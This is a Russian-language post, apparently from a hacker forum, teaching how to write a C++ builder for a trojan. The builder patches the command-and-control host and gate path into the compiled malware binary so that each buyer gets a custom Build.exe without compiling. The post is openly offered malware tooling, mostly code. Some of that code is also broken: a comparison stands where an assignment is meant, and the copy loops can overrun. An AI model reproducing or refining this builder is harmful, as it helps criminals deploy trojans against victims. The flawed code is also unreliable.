03.08.2024

Пишем конфигуратор[c++]

Vortex777

Интересующийся
Регистрация
27.06.2022
Сообщения
98
Реакции
0
Гарант продажи
0
Гарант покупки
0
Депозит
0 р
C-language.jpg
Итак, вы написали супер-троя.Трой стучит по стате,непалится антивирусами и т.д. Но вот проблема:каждому юзеру юзающему вашего троя компилить из исходников неудобно! В этой статье я расскажу вам как написать конфигуратор для вашего детища. Всё наше действо будет состоять из 2 частей:

I)Готовим тело троя
II)Сам конфигуратор


Ok, let`s go! (c)​


I)Готовим тело троя.
Компилим трой. Все параметры для отстука по стату(к примеру) должны заканчиваться и начинаться на '_'(нам это нужно будет)
Т.е.
Код:
#define host "_megasite.megahost.com_"
#define path "_/mega777/megagate.php_"
Зачем нам такие длинные имена? Почему бы просто не site.com и /gate.php ? Дело в том, что будем править уже готовый .exe`шник

и "переполнять" там что-то очень нежелательно.
К примеру:
Сделаем site.com, а у кого-нибудь юзера стата на megasite.jino-net.ru , В итоге у него ничего не будет работать.
Теперь я советую переименовать откомпиленый трой в virus.dat(к примеру),чтоб всякие ребята не запускали лишний раз наш ехе.

II)Сам конфигуратор.
Итак тело у нас в virus.dat
Далее буду просто приводить куски кода с комментами.
Объявем 3 глобальные переменные:
Код:
char host[]="site.com";
char path[]="/777/gate.php";
char body[12000];
Для конфигуратора 2 первые параметра нужно брать из Edit`а. Мне ламо приводить всю работу с VCL(тем более, что это

элементарно), поэтому рассмотрим всё на частном случае. Размер body в зависимости от размера файла. Лучше брать размер на

2-3кило больше размера файла.К примеру: вирь весит 15кб размер вы берёте 17000;
Далее:
Код:
DWORD dwBytesRead ,dw ,size , dw1;
HANDLE hFile = CreateFile("virus.dat",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

//открываем наше тело
size = GetFileSize(hFile,&dw); //получаем кол-во знаков в файле
ReadFile(hFile,body,size ,&dwBytesRead, NULL); //читаем тело в наш массив
Так далее самый ответственный момент. Ищем и заменяем наши параметры.Для этого напишем отдельнуй функцию.
Код:
void param(void){
int x=0;
int y=1;
int c=0;
while(body[x]!='_'){ //вот для чего нам нужны были '_'. Ищем параметр.
x++;
}
//мы остановились на символе '-'
x++;
//Теперь мы на следующем символе. Посмотрим что это: host или path
if(body[x]=='s'){
//итак это хост. Далее очищаем нужное нам место
while(body[x]!='_'){
body[x]=NULL;
x++;
y++; //чтобы узнать на сколько мы отдалились от '_'
}
//мы остановились на символе '_' .Удаляем его и возвращаемся назад
body[x]==NULL;
x=x-y;
//теперь заполняем наш параметр
while(host[c]!='_'){
body[x]=host[c];
x++;
c++;
}
}
else {
//значит это path. Действия теже самые. Только заменяем host на path
while(body[x]!='_'){
body[x]=NULL;
x++;
y++; //чтобы узнать на сколько мы отдалились от '_'
}
//мы остановились на символе '_' .Удаляем его и возвращаемся назад
body[x]==NULL;
x=x-y;
//теперь заполняем наш параметр
while(path[c]!='_'){
body[x]=path[c];
x++;
c++;
}
}
}
Ну и концовка:
Код:
param();//параметра у нас 2
param();
HANDLE hFile1 = CreateFile("Build.exe",GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_NEW ,FILE_ATTRIBUTE_NORMAL,NULL);
//создаём новый файл
WriteFile(hFile1,body,size,&dw1,NULL); //пишем в него
CloseHandle(hFile); //закрываем оба файла
CloseHandle(hFile1);
Ну вот, в принципе , и всё. Это всё на С++ , но при желании можно переписать на любой язык или переделать не только для параметров статы.
 
Сверху